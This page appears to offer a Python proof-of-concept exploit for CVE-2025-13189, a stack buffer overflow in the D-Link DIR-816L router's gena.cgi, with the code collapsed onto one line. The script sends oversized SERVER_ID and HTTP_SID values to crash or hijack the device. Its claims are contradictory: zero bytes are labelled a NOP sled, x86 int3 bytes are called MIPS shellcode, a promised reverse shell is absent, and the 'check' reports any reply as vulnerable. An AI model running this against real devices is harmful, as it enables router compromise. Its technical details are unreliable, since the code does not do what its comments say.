CVE-2025-13189 D-Link DIR-816L gena.cgi栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-13189 PoC - D-Link DIR-816L gena.cgi Stack Buffer Overflow # Target: D-Link DIR-816L firmware 2_06_b09_beta # Attack Vector: SERVER_ID/HTTP_SID parameter overflow import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" target_port = 80 # 600 bytes NOP sled + shellcode for MIPS little-endian # This is a PoC for demonstrating the overflow condition # Shellcode: reverse shell to attacker machine shellcode = b'\x00' * 600 # NOP sled shellcode += b'\xcc' * 100 # Int3 for debugging/crash def check_vulnerability(): """Check if target is vulnerable to CVE-2025-13189""" url = f"http://{target_ip}:{target_port}/gena.cgi" # Payload with oversized SERVER_ID parameter payload = { 'SERVER_ID': shellcode, 'HTTP_SID': shellcode } try: response = requests.post(url, data=payload, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(shellcode)} bytes") return True except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2025-13189 PoC - D-Link DIR-816L") print("Stack Buffer Overflow in gena.cgi") print("=" * 50) check_vulnerability()